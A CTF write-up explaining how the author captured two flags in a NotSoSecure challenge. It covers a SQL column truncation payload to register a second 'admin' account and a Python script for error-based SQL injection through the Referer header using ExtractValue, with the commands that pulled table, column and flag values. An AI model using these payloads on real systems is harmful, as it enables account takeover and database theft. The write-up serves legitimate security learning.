Since for the first NotSoSecure CTF I had a lot of fun, I joined again for the new version. It was harder than first time, but I finally got both flags.
Getting the first flag
The challenge's frontpage had a form, almost the same as first CTF. Looking at the source code, there was a weird string:
H4sIAAAAAAAAAAsyTs80LTEu0ssoyc0BACMzGYUNAAAA
I couldn't decode it using some basic ciphers so I was looking around the other files without success.
Then, I took the weird string and decided to look for it in Google. It didn't give any result but I thought that some other strings could share the same start letters, as an encoding signature. I was right and after reading a forum post I could decode it successfully.
$ echo 'H4sIAAAAAAAAAAsyTs80LTEu0ssoyc0BACMzGYUNAAAA' | base64 -di | gunzip -
R3gi5t3r.html%
This was almost the same form as in the first CTF. I registered the user testcl and after logged in, it displayed my username in the page.
I could register an user in the register form and then log in at the frontpage form, but neither of them were vulnerable to SQL injection. I saw that if you tried to register an already registered user, it would show an error, so there were a SELECT
and an INSERT
statements.
There were no hints about it at that moment so I had to rethink it. I remembered that in the Web Security Workshop I explained to my students a nice vulnerability, so I would try the same here. This kind of vulnerability is called SQL Column Truncation and is easily exploitable.
I took a look at the form:
<td><input name="regname" type="text" size="20" placeholder="username" required/></td>
and guessed that username length at database schema was 20 chars. Then I created my payload following the structure displayed at line 1, resulting in the string at line 2:
username + (20 - len(username) * %20) + any char
admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20q.
I sent the request:
GET /9128938921839838/register.php?
regname=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20q
®email=nike%40example.org
®pass1=1234zz5678
®pass2=1234zz5678 HTTP/1.1
Host: ctf.notsosecure.com
and then I could log in successfully as admin, getting the first flag.
The SELECT
statement didn't detect the duplicate user since SELECT
doesn't truncate input, instead INSERT
truncates the string and trims spaces.
Getting the second flag
It was harder than expected. I was a bit disappointed at the start because couldn't find any vulnerability. After first hint, I got clear where to look at.
The Referer
field was being used in a SQL statement. The way to exploit it was using URL-encoded strings, since raw special characters would be escaped or deleted. After trying time-based SQL injection, I was clear that the goal was to extract data using an error approach. The question was: how do I trigger those errors in a controlled way? Here, NULL
values or division by zero didn't trigger errors.
First I tried with the IF
statement from MySQL, but as well as CASE
, they weren't lazy evaluated. Both conditions, True
and False
, were evaluated without considering the condition, even when only one is returned as result. I had to find a function with lazy evaluation.
(Or as I read later in a hint, making both arguments to IF
successful on runtime but one of them invalid for the context (returning more results than expected). My fault was that I tried passing as arguments invalid statements at any time, like selecting from mysql.user)
I ended up using ExtractValue
in the following way:
# 0x5c = '\'
SELECT extractvalue(1, concat(0x5c, (%s)))
The %s
string was replaced by my custom query to retrieve data from the database. This statement had two possible cases:
-
My custom query returned
NULL
, so the second argument ofExtractValue
was only\
. The final call wasextractvalue(1, '\')
, which is valid and don't throw error. -
My custom query returned some
value
, so the second argument ofExtractValue
was\value
. The call wasextractvalue(1, '\value')
and it generates an error since theselector
(second parameter) isn't valid for the XML string (first parameter).
The injection in the Referer displayed an 'Error' string in case that the query was invalid, else it displayed 'Thanks' string. At that moment, I could know whether I'm extracting data or not. My final payload injected in the Referer
field was like this:
"a'+(select extractvalue(1, concat(0x5c, (%s))))+'b" % cmd
I created a script to exploit the vulnerability, based on the script I made for the first CTF. I only applied some modifications. If I got an 'Error' message, the custom query was right.
import requests
import re
import sys
import string
from urllib import quote
def is_valid_payload(payload):
post_url = "http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php"
data = {'name': 'hola', 'email': 'hola%40hola.com', 'message': 'hola', 'submit': 'Submit'}
headers = {'Referer': quote(payload)}
r = requests.post(post_url, data=data, headers=headers)
if re.findall('Error', r.text):
return True
else:
return False
def guess_next_letter(payload, flag, chars):
for c in chars:
new_payload = payload.format(flag + c)
if is_valid_payload(new_payload):
return c
else:
return None
def get_valid_chars(payload):
chars = []
payload = re.sub('\{0\}%', '%{0}%', payload)
print 'Recollecting chars ...'
for i in range(77, 126):
c = chr(i)
if c == '%':
continue
new_payload = payload.format(c)
if is_valid_payload(new_payload):
print 'Added char %s' % c
chars.append(c)
print "chars = %s" % repr(chars)
return chars
if __name__ == '__main__':
cmd = sys.argv[1]
flag = ''
payload = "a'+(select extractvalue(1, concat(0x5c, (%s))))+'b" % cmd
chars = list(string.ascii_lowercase)
#chars = get_valid_chars(payload)
print 'Starting bruteforce ...'
while True:
letter = guess_next_letter(payload, flag, chars)
if not letter:
break
else:
flag += letter
print "Guessed letters: %s" % flag
print 'Flag: %s' % flag
Then, I made 3 queries to the script to know the flag. First, I asked for the table name, then column name and finally the first row in the table.
python phase_2.py "select table_name from information_schema.tables where TABLE_SCHEMA!='information_schema' and table_name like '{0}%'"
I got the the table name was flag.
python phase_2.py "select column_name FROM information_schema.columns WHERE table_name='flag' and column_name like '{0}%' limit 1"
And the column name was flag too.
After that, I had to extract the key. I used the get_valid_chars(payload)
function to get a subset of chars in case it was a long flag to improve speed. The chars
list was ['0', '1', '2', '3', '6', '9', '_']
. Then I ran the script once again and got the flag.
python phase_2.py "select flag FROM flag WHERE flag like '{0}%' limit 1" ""
[...]
Flag: 1362390
I've been looking at other writeups and they used cool techniques to exploit this vulnerability, so you should take a look too. I'll be waiting for the 3rd CTF!